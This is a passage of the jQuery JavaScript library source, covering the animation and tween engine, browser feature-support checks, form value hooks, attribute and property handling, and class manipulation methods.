tween.prop, "" ); // Empty strings, null, undefined and "auto" are converted to 0. return !result || result === "auto" ? 0 : result; }, set: function( tween ) { // use step hook for back compat - use cssHook if its there - use .style if its // available and use plain properties where available if ( jQuery.fx.step[ tween.prop ] ) { jQuery.fx.step[ tween.prop ]( tween ); } else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) { jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); } else { tween.elem[ tween.prop ] = tween.now; } } } }; // Support: IE <=9 // Panic based approach to setting things on disconnected nodes Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { set: function( tween ) { if ( tween.elem.nodeType && tween.elem.parentNode ) { tween.elem[ tween.prop ] = tween.now; } } }; jQuery.easing = { linear: function( p ) { return p; }, swing: function( p ) { return 0.5 - Math.cos( p * Math.PI ) / 2; } }; jQuery.fx = Tween.prototype.init; // Back Compat <1.8 extension point jQuery.fx.step = {}; var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/, rfxnum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ), rrun = /queueHooks$/, animationPrefilters = [ defaultPrefilter ], tweeners = { "*": [ function( prop, value ) { var tween = this.createTween( prop, value ), target = tween.cur(), parts = rfxnum.exec( value ), unit = parts && parts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), // Starting value computation is required for potential unit mismatches start = ( jQuery.cssNumber[ prop ] || unit !== "px" && +target ) && rfxnum.exec( jQuery.css( tween.elem, prop ) ), scale = 1, maxIterations = 20; if ( start && start[ 3 ] !== unit ) { // Trust units reported by jQuery.css unit = unit || start[ 3 ]; // Make sure we update the tween properties later on parts = parts || []; // Iteratively approximate from a nonzero starting point start = +target || 1; do { // If previous iteration zeroed out, double until we get *something* // Use a string for doubling factor so we don't accidentally see scale as unchanged below scale = scale || ".5"; // Adjust and apply start = start / scale; jQuery.style( tween.elem, prop, start + unit ); // Update scale, tolerating zero or NaN from tween.cur() // And breaking the loop if scale is unchanged or perfect, or if we've just had enough } while ( scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations ); } // Update tween properties if ( parts ) { start = tween.start = +start || +target || 0; tween.unit = unit; // If a +=/-= token was provided, we're doing a relative animation tween.end = parts[ 1 ] ? start + ( parts[ 1 ] + 1 ) * parts[ 2 ] : +parts[ 2 ]; } return tween; } ] }; // Animations created synchronously will run synchronously function createFxNow() { setTimeout(function() { fxNow = undefined; }); return ( fxNow = jQuery.now() ); } // Generate parameters to create a standard animation function genFx( type, includeWidth ) { var which, attrs = { height: type }, i = 0; // if we include width, step value is 1 to do all cssExpand values, // if we don't include width, step value is 2 to skip over Left and Right includeWidth = includeWidth ? 1 : 0; for ( ; i < 4 ; i += 2 - includeWidth ) { which = cssExpand[ i ]; attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; } if ( includeWidth ) { attrs.opacity = attrs.width = type; } return attrs; } function createTween( value, prop, animation ) { var tween, collection = ( tweeners[ prop ] || [] ).concat( tweeners[ "*" ] ), index = 0, length = collection.length; for ( ; index < length; index++ ) { if ( (tween = collection[ index ].call( animation, prop, value )) ) { // we're done with this property return tween; } } } function defaultPrefilter( elem, props, opts ) { /* jshint validthis: true */ var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this, orig = {}, style = elem.style, hidden = elem.nodeType && isHidden( elem ), dataShow = jQuery._data( elem, "fxshow" ); // handle queue: false promises if ( !opts.queue ) { hooks = jQuery._queueHooks( elem, "fx" ); if ( hooks.unqueued == null ) { hooks.unqueued = 0; oldfire = hooks.empty.fire; hooks.empty.fire = function() { if ( !hooks.unqueued ) { oldfire(); } }; } hooks.unqueued++; anim.always(function() { // doing this makes sure that the complete handler will be called // before this completes anim.always(function() { hooks.unqueued--; if ( !jQuery.queue( elem, "fx" ).length ) { hooks.empty.fire(); } }); }); } // height/width overflow pass if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) { // Make sure that nothing sneaks out // Record all 3 overflow attributes because IE does not // change the overflow attribute when overflowX and // overflowY are set to the same value opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; // Set display property to inline-block for height/width // animations on inline elements that are having width/height animated display = jQuery.css( elem, "display" ); // Test default display if display is currently "none" checkDisplay = display === "none" ? jQuery._data( elem, "olddisplay" ) || defaultDisplay( elem.nodeName ) : display; if ( checkDisplay === "inline" && jQuery.css( elem, "float" ) === "none" ) { // inline-level elements accept inline-block; // block-level elements need to be inline with layout if ( !support.inlineBlockNeedsLayout || defaultDisplay( elem.nodeName ) === "inline" ) { style.display = "inline-block"; } else { style.zoom = 1; } } } if ( opts.overflow ) { style.overflow = "hidden"; if ( !support.shrinkWrapBlocks() ) { anim.always(function() { style.overflow = opts.overflow[ 0 ]; style.overflowX = opts.overflow[ 1 ]; style.overflowY = opts.overflow[ 2 ]; }); } } // show/hide pass for ( prop in props ) { value = props[ prop ]; if ( rfxtypes.exec( value ) ) { delete props[ prop ]; toggle = toggle || value === "toggle"; if ( value === ( hidden ? "hide" : "show" ) ) { // If there is dataShow left over from a stopped hide or show and we are going to proceed with show, we should pretend to be hidden if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { hidden = true; } else { continue; } } orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); // Any non-fx value stops us from restoring the original display value } else { display = undefined; } } if ( !jQuery.isEmptyObject( orig ) ) { if ( dataShow ) { if ( "hidden" in dataShow ) { hidden = dataShow.hidden; } } else { dataShow = jQuery._data( elem, "fxshow", {} ); } // store state if its toggle - enables .stop().toggle() to "reverse" if ( toggle ) { dataShow.hidden = !hidden; } if ( hidden ) { jQuery( elem ).show(); } else { anim.done(function() { jQuery( elem ).hide(); }); } anim.done(function() { var prop; jQuery._removeData( elem, "fxshow" ); for ( prop in orig ) { jQuery.style( elem, prop, orig[ prop ] ); } }); for ( prop in orig ) { tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); if ( !( prop in dataShow ) ) { dataShow[ prop ] = tween.start; if ( hidden ) { tween.end = tween.start; tween.start = prop === "width" || prop === "height" ? 1 : 0; } } } // If this is a noop like .hide().hide(), restore an overwritten display value } else if ( (display === "none" ? defaultDisplay( elem.nodeName ) : display) === "inline" ) { style.display = display; } } function propFilter( props, specialEasing ) { var index, name, easing, value, hooks; // camelCase, specialEasing and expand cssHook pass for ( index in props ) { name = jQuery.camelCase( index ); easing = specialEasing[ name ]; value = props[ index ]; if ( jQuery.isArray( value ) ) { easing = value[ 1 ]; value = props[ index ] = value[ 0 ]; } if ( index !== name ) { props[ name ] = value; delete props[ index ]; } hooks = jQuery.cssHooks[ name ]; if ( hooks && "expand" in hooks ) { value = hooks.expand( value ); delete props[ name ]; // not quite $.extend, this wont overwrite keys already present. // also - reusing 'index' from above because we have the correct "name" for ( index in value ) { if ( !( index in props ) ) { props[ index ] = value[ index ]; specialEasing[ index ] = easing; } } } else { specialEasing[ name ] = easing; } } } function Animation( elem, properties, options ) { var result, stopped, index = 0, length = animationPrefilters.length, deferred = jQuery.Deferred().always( function() { // don't match elem in the :animated selector delete tick.elem; }), tick = function() { if ( stopped ) { return false; } var currentTime = fxNow || createFxNow(), remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), // archaic crash bug won't allow us to use 1 - ( 0.5 || 0 ) (#12497) temp = remaining / animation.duration || 0, percent = 1 - temp, index = 0, length = animation.tweens.length; for ( ; index < length ; index++ ) { animation.tweens[ index ].run( percent ); } deferred.notifyWith( elem, [ animation, percent, remaining ]); if ( percent < 1 && length ) { return remaining; } else { deferred.resolveWith( elem, [ animation ] ); return false; } }, animation = deferred.promise({ elem: elem, props: jQuery.extend( {}, properties ), opts: jQuery.extend( true, { specialEasing: {} }, options ), originalProperties: properties, originalOptions: options, startTime: fxNow || createFxNow(), duration: options.duration, tweens: [], createTween: function( prop, end ) { var tween = jQuery.Tween( elem, animation.opts, prop, end, animation.opts.specialEasing[ prop ] || animation.opts.easing ); animation.tweens.push( tween ); return tween; }, stop: function( gotoEnd ) { var index = 0, // if we are going to the end, we want to run all the tweens // otherwise we skip this part length = gotoEnd ? animation.tweens.length : 0; if ( stopped ) { return this; } stopped = true; for ( ; index < length ; index++ ) { animation.tweens[ index ].run( 1 ); } // resolve when we played the last frame // otherwise, reject if ( gotoEnd ) { deferred.resolveWith( elem, [ animation, gotoEnd ] ); } else { deferred.rejectWith( elem, [ animation, gotoEnd ] ); } return this; } }), props = animation.props; propFilter( props, animation.opts.specialEasing ); for ( ; index < length ; index++ ) { result = animationPrefilters[ index ].call( animation, elem, props, animation.opts ); if ( result ) { return result; } } jQuery.map( props, createTween, animation ); if ( jQuery.isFunction( animation.opts.start ) ) { animation.opts.start.call( elem, animation ); } jQuery.fx.timer( jQuery.extend( tick, { elem: elem, anim: animation, queue: animation.opts.queue }) ); // attach callbacks from options return animation.progress( animation.opts.progress ) .done( animation.opts.done, animation.opts.complete ) .fail( animation.opts.fail ) .always( animation.opts.always ); } jQuery.Animation = jQuery.extend( Animation, { tweener: function( props, callback ) { if ( jQuery.isFunction( props ) ) { callback = props; props = [ "*" ]; } else { props = props.split(" "); } var prop, index = 0, length = props.length; for ( ; index < length ; index++ ) { prop = props[ index ]; tweeners[ prop ] = tweeners[ prop ] || []; tweeners[ prop ].unshift( callback ); } }, prefilter: function( callback, prepend ) { if ( prepend ) { animationPrefilters.unshift( callback ); } else { animationPrefilters.push( callback ); } } }); jQuery.speed = function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { complete: fn || !fn && easing || jQuery.isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing }; opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default; // normalize opt.queue - true/undefined/null -> "fx" if ( opt.queue == null || opt.queue === true ) { opt.queue = "fx"; } // Queueing opt.old = opt.complete; opt.complete = function() { if ( jQuery.isFunction( opt.old ) ) { opt.old.call( this ); } if ( opt.queue ) { jQuery.dequeue( this, opt.queue ); } }; return opt; }; jQuery.fn.extend({ fadeTo: function( speed, to, easing, callback ) { // show any hidden elements after setting opacity to 0 return this.filter( isHidden ).css( "opacity", 0 ).show() // animate to the value specified .end().animate({ opacity: to }, speed, easing, callback ); }, animate: function( prop, speed, easing, callback ) { var empty = jQuery.isEmptyObject( prop ), optall = jQuery.speed( speed, easing, callback ), doAnimation = function() { // Operate on a copy of prop so per-property easing won't be lost var anim = Animation( this, jQuery.extend( {}, prop ), optall ); // Empty animations, or finishing resolves immediately if ( empty || jQuery._data( this, "finish" ) ) { anim.stop( true ); } }; doAnimation.finish = doAnimation; return empty || optall.queue === false ? this.each( doAnimation ) : this.queue( optall.queue, doAnimation ); }, stop: function( type, clearQueue, gotoEnd ) { var stopQueue = function( hooks ) { var stop = hooks.stop; delete hooks.stop; stop( gotoEnd ); }; if ( typeof type !== "string" ) { gotoEnd = clearQueue; clearQueue = type; type = undefined; } if ( clearQueue && type !== false ) { this.queue( type || "fx", [] ); } return this.each(function() { var dequeue = true, index = type != null && type + "queueHooks", timers = jQuery.timers, data = jQuery._data( this ); if ( index ) { if ( data[ index ] && data[ index ].stop ) { stopQueue( data[ index ] ); } } else { for ( index in data ) { if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { stopQueue( data[ index ] ); } } } for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) { timers[ index ].anim.stop( gotoEnd ); dequeue = false; timers.splice( index, 1 ); } } // start the next in the queue if the last step wasn't forced // timers currently will call their complete callbacks, which will dequeue // but only if they were gotoEnd if ( dequeue || !gotoEnd ) { jQuery.dequeue( this, type ); } }); }, finish: function( type ) { if ( type !== false ) { type = type || "fx"; } return this.each(function() { var index, data = jQuery._data( this ), queue = data[ type + "queue" ], hooks = data[ type + "queueHooks" ], timers = jQuery.timers, length = queue ? queue.length : 0; // enable finishing flag on private data data.finish = true; // empty the queue first jQuery.queue( this, type, [] ); if ( hooks && hooks.stop ) { hooks.stop.call( this, true ); } // look for any active animations, and finish them for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && timers[ index ].queue === type ) { timers[ index ].anim.stop( true ); timers.splice( index, 1 ); } } // look for any animations in the old queue and finish them for ( index = 0; index < length; index++ ) { if ( queue[ index ] && queue[ index ].finish ) { queue[ index ].finish.call( this ); } } // turn off finishing flag delete data.finish; }); } }); jQuery.each([ "toggle", "show", "hide" ], function( i, name ) { var cssFn = jQuery.fn[ name ]; jQuery.fn[ name ] = function( speed, easing, callback ) { return speed == null || typeof speed === "boolean" ? cssFn.apply( this, arguments ) : this.animate( genFx( name, true ), speed, easing, callback ); }; }); // Generate shortcuts for custom animations jQuery.each({ slideDown: genFx("show"), slideUp: genFx("hide"), slideToggle: genFx("toggle"), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; }); jQuery.timers = []; jQuery.fx.tick = function() { var timer, timers = jQuery.timers, i = 0; fxNow = jQuery.now(); for ( ; i < timers.length; i++ ) { timer = timers[ i ]; // Checks the timer has not already been removed if ( !timer() && timers[ i ] === timer ) { timers.splice( i--, 1 ); } } if ( !timers.length ) { jQuery.fx.stop(); } fxNow = undefined; }; jQuery.fx.timer = function( timer ) { jQuery.timers.push( timer ); if ( timer() ) { jQuery.fx.start(); } else { jQuery.timers.pop(); } }; jQuery.fx.interval = 13; jQuery.fx.start = function() { if ( !timerId ) { timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval ); } }; jQuery.fx.stop = function() { clearInterval( timerId ); timerId = null; }; jQuery.fx.speeds = { slow: 600, fast: 200, // Default speed _default: 400 }; // Based off of the plugin by Clint Helfers, with permission. // http://blindsignals.com/index.php/2009/07/jquery-delay/ jQuery.fn.delay = function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = setTimeout( next, time ); hooks.stop = function() { clearTimeout( timeout ); }; }); }; (function() { // Minified: var a,b,c,d,e var input, div, select, a, opt; // Setup div = document.createElement( "div" ); div.setAttribute( "className", "t" ); div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>"; a = div.getElementsByTagName("a")[ 0 ]; // First batch of tests. select = document.createElement("select"); opt = select.appendChild( document.createElement("option") ); input = div.getElementsByTagName("input")[ 0 ]; a.style.cssText = "top:1px"; // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7) support.getSetAttribute = div.className !== "t"; // Get the style information from getAttribute // (IE uses .cssText instead) support.style = /top/.test( a.getAttribute("style") ); // Make sure that URLs aren't manipulated // (IE normalizes it by default) support.hrefNormalized = a.getAttribute("href") === "/a"; // Check the default checkbox/radio value ("" on WebKit; "on" elsewhere) support.checkOn = !!input.value; // Make sure that a selected-by-default option has a working selected property. // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) support.optSelected = opt.selected; // Tests for enctype support on a form (#6743) support.enctype = !!document.createElement("form").enctype; // Make sure that the options inside disabled selects aren't marked as disabled // (WebKit marks them as disabled) select.disabled = true; support.optDisabled = !opt.disabled; // Support: IE8 only // Check if we can trust getAttribute("value") input = document.createElement( "input" ); input.setAttribute( "value", "" ); support.input = input.getAttribute( "value" ) === ""; // Check if an input maintains its value after becoming a radio input.value = "t"; input.setAttribute( "type", "radio" ); support.radioValue = input.value === "t"; })(); var rreturn = /\r/g; jQuery.fn.extend({ val: function( value ) { var hooks, ret, isFunction, elem = this[0]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) { return ret; } ret = elem.value; return typeof ret === "string" ? // handle most common string cases ret.replace(rreturn, "") : // handle cases where value is null/undef or number ret == null ? "" : ret; } return; } isFunction = jQuery.isFunction( value ); return this.each(function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( isFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( jQuery.isArray( val ) ) { val = jQuery.map( val, function( value ) { return value == null ? "" : value + ""; }); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } }); } }); jQuery.extend({ valHooks: { option: { get: function( elem ) { var val = jQuery.find.attr( elem, "value" ); return val != null ? val : // Support: IE10-11+ // option.text throws exceptions (#14686, #14858) jQuery.trim( jQuery.text( elem ) ); } }, select: { get: function( elem ) { var value, option, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one" || index < 0, values = one ? null : [], max = one ? index + 1 : options.length, i = index < 0 ? max : one ? index : 0; // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // oldIE doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup ( support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) && ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; if ( jQuery.inArray( jQuery.valHooks.option.get( option ), values ) >= 0 ) { // Support: IE6 // When new option element is added to select box we need to // force reflow of newly added node in order to workaround delay // of initialization properties try { option.selected = optionSet = true; } catch ( _ ) { // Will be executed only in IE6 option.scrollHeight; } } else { option.selected = false; } } // Force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return options; } } } }); // Radios and checkboxes getter/setter jQuery.each([ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( jQuery.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 ); } } }; if ( !support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { // Support: Webkit // "" is returned instead of "on" if a value isn't specified return elem.getAttribute("value") === null ? "on" : elem.value; }; } }); var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle, ruseDefault = /^(?:checked|selected)$/i, getSetAttribute = support.getSetAttribute, getSetInput = support.input; jQuery.fn.extend({ attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each(function() { jQuery.removeAttr( this, name ); }); } }); jQuery.extend({ attr: function( elem, name, value ) { var hooks, ret, nType = elem.nodeType; // don't get/set attributes on text, comment and attribute nodes if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === strundefined ) { return jQuery.prop( elem, name, value ); } // All attributes are lowercase // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { name = name.toLowerCase(); hooks = jQuery.attrHooks[ name ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); } else if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { return ret; } else { elem.setAttribute( name, value + "" ); return value; } } else if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { return ret; } else { ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; } }, removeAttr: function( elem, value ) { var name, propName, i = 0, attrNames = value && value.match( rnotwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( (name = attrNames[i++]) ) { propName = jQuery.propFix[ name ] || name; // Boolean attributes get special treatment (#10870) if ( jQuery.expr.match.bool.test( name ) ) { // Set corresponding property to false if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) { elem[ propName ] = false; // Support: IE<9 // Also clear defaultChecked/defaultSelected (if appropriate) } else { elem[ jQuery.camelCase( "default-" + name ) ] = elem[ propName ] = false; } // See #9699 for explanation of this approach (setting first, then removal) } else { jQuery.attr( elem, name, "" ); } elem.removeAttribute( getSetAttribute ? name : propName ); } } }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) { // Setting the type on a radio button after the value resets the value in IE6-9 // Reset value to default in case type is set after value during creation var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } } }); // Hook for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) { // IE<8 needs the *property* name elem.setAttribute( !getSetAttribute && jQuery.propFix[ name ] || name, name ); // Use defaultChecked and defaultSelected for oldIE } else { elem[ jQuery.camelCase( "default-" + name ) ] = elem[ name ] = true; } return name; } }; // Retrieve booleans specially jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = getSetInput && getSetAttribute || !ruseDefault.test( name ) ? function( elem, name, isXML ) { var ret, handle; if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ name ]; attrHandle[ name ] = ret; ret = getter( elem, name, isXML ) != null ? name.toLowerCase() : null; attrHandle[ name ] = handle; } return ret; } : function( elem, name, isXML ) { if ( !isXML ) { return elem[ jQuery.camelCase( "default-" + name ) ] ? name.toLowerCase() : null; } }; }); // fix oldIE attroperties if ( !getSetInput || !getSetAttribute ) { jQuery.attrHooks.value = { set: function( elem, value, name ) { if ( jQuery.nodeName( elem, "input" ) ) { // Does not return so that setAttribute is also used elem.defaultValue = value; } else { // Use nodeHook if defined (#1954); otherwise setAttribute is fine return nodeHook && nodeHook.set( elem, value, name ); } } }; } // IE6/7 do not support getting/setting some attributes with get/setAttribute if ( !getSetAttribute ) { // Use this for any attribute in IE6/7 // This fixes almost every IE6/7 issue nodeHook = { set: function( elem, value, name ) { // Set the existing or create a new attribute node var ret = elem.getAttributeNode( name ); if ( !ret ) { elem.setAttributeNode( (ret = elem.ownerDocument.createAttribute( name )) ); } ret.value = value += ""; // Break association with cloned elements by also using setAttribute (#9646) if ( name === "value" || value === elem.getAttribute( name ) ) { return value; } } }; // Some attributes are constructed with empty-string values when not defined attrHandle.id = attrHandle.name = attrHandle.coords = function( elem, name, isXML ) { var ret; if ( !isXML ) { return (ret = elem.getAttributeNode( name )) && ret.value !== "" ? ret.value : null; } }; // Fixing value retrieval on a button requires this module jQuery.valHooks.button = { get: function( elem, name ) { var ret = elem.getAttributeNode( name ); if ( ret && ret.specified ) { return ret.value; } }, set: nodeHook.set }; // Set contenteditable to false on removals(#10429) // Setting to empty string throws an error as an invalid value jQuery.attrHooks.contenteditable = { set: function( elem, value, name ) { nodeHook.set( elem, value === "" ? false : value, name ); } }; // Set width and height to auto instead of 0 on empty string( Bug #8150 ) // This is for removals jQuery.each([ "width", "height" ], function( i, name ) { jQuery.attrHooks[ name ] = { set: function( elem, value ) { if ( value === "" ) { elem.setAttribute( name, "auto" ); return value; } } }; }); } if ( !support.style ) { jQuery.attrHooks.style = { get: function( elem ) { // Return undefined in the case of empty string // Note: IE uppercases css property names, but if we were to .toLowerCase() // .cssText, that would destroy case senstitivity in URL's, like in "background" return elem.style.cssText || undefined; }, set: function( elem, value ) { return ( elem.style.cssText = value + "" ); } }; } var rfocusable = /^(?:input|select|textarea|button|object)$/i, rclickable = /^(?:a|area)$/i; jQuery.fn.extend({ prop: function( name, value ) { return access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { name = jQuery.propFix[ name ] || name; return this.each(function() { // try/catch handles cases where IE balks (such as removing a property on window) try { this[ name ] = undefined; delete this[ name ]; } catch( e ) {} }); } }); jQuery.extend({ propFix: { "for": "htmlFor", "class": "className" }, prop: function( elem, name, value ) { var ret, hooks, notxml, nType = elem.nodeType; // don't get/set properties on text, comment and attribute nodes if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { return; } notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); if ( notxml ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { return hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ? ret : ( elem[ name ] = value ); } else { return hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ? ret : elem[ name ]; } }, propHooks: { tabIndex: { get: function( elem ) { // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ // Use proper attribute retrieval(#12072) var tabindex = jQuery.find.attr( elem, "tabindex" ); return tabindex ? parseInt( tabindex, 10 ) : rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? 0 : -1; } } } }); // Some attributes require a special call on IE // http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx if ( !support.hrefNormalized ) { // href/src property should get the full normalized URL (#10299/#12915) jQuery.each([ "href", "src" ], function( i, name ) { jQuery.propHooks[ name ] = { get: function( elem ) { return elem.getAttribute( name, 4 ); } }; }); } // Support: Safari, IE9+ // mis-reports the default selected property of an option // Accessing the parent's selectedIndex property fixes it if ( !support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; // Make sure that it also works with optgroups, see #5701 if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } return null; } }; } jQuery.each([ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; }); // IE6/7 call enctype encoding if ( !support.enctype ) { jQuery.propFix.enctype = "encoding"; } var rclass = /[\t\r\n\f]/g; jQuery.fn.extend({ addClass: function( value ) { var classes, elem, cur, clazz, j, finalValue, i = 0, len = this.length, proceed = typeof value === "string" && value; if ( jQuery.isFunction( value ) ) { return this.each(function( j ) { jQuery( this ).addClass( value.call( this, j, this.className ) ); }); } if ( proceed ) { // The disjunction here is for better compressibility (see removeClass) classes = ( value || "" ).match( rnotwhite ) || []; for ( ; i < len; i++ ) { elem = this[ i ]; cur = elem.nodeType === 1 && ( elem.className ? ( " " + elem.className + " " ).replace( rclass, " " ) : " " ); if ( cur ) { j = 0; while ( (clazz = classes[j++]) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } // only assign if different to avoid unneeded rendering. finalValue = jQuery.trim( cur ); if ( elem.className !== finalValue ) { elem.className = finalValue; } } } } return this; }, removeClass: function( value ) { var classes, elem, cur, clazz, j, finalValue, i = 0, len = this.length, proceed = arguments.length === 0 || typeof value === "string" && value; if ( jQuery.isFunction( value ) ) { return this.each(function( j ) { jQuery( this ).removeClass( value.call( this, j, this.className ) ); }); } if ( proceed ) { classes = ( value || "" ).match( rnotwhite ) || []; for ( ; i < len; i++ ) { elem = this[ i ]; // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( elem.className ? ( " " + elem.className + " " ).replace( rclass, " " ) : "" ); if ( cur ) { j = 0; while ( (clazz = classes[j++]) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) >= 0 ) { cur = cur.replace( " " + clazz + " ", " " ); } } // only assign if different to avoid unneeded rendering. finalValue = value ? jQuery.trim( cur ) : ""; if ( elem.className !== finalValue ) { elem.className = finalValue; } } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value; if ( typeof stateVal === "boolean" && type === "string" ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } if ( jQuery.isFunction( value ) ) { return this.each(function( i ) { jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); }); } return this.each(function() { if ( type === "string" ) { // toggle individual class names var className, i = 0, self = jQuery( this ), classNames = value.match( rnotwhite ) || []; while ( (className = classNames[ i++ ]) ) { // check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( type === strundefined || type === "boolean" ) { if ( this.className ) { // store className if set jQuery._data( this, "__className__", this.className ); } // If the element has a class name or if we're passed "false", // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || ""; } }); }, hasClass: function( selector ) { var className = " " + selector + " ", i = 0, l = this.length; for ( ; i < l; i++ ) { if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) { return true; } } return false; } }); // Return jQuery for attributes-only inclusion jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; }); jQuery.fn.extend({ hover: function( fnOver, fnOut ) { return this.mouseenter( fnOver ).mouseleave( fnOut || 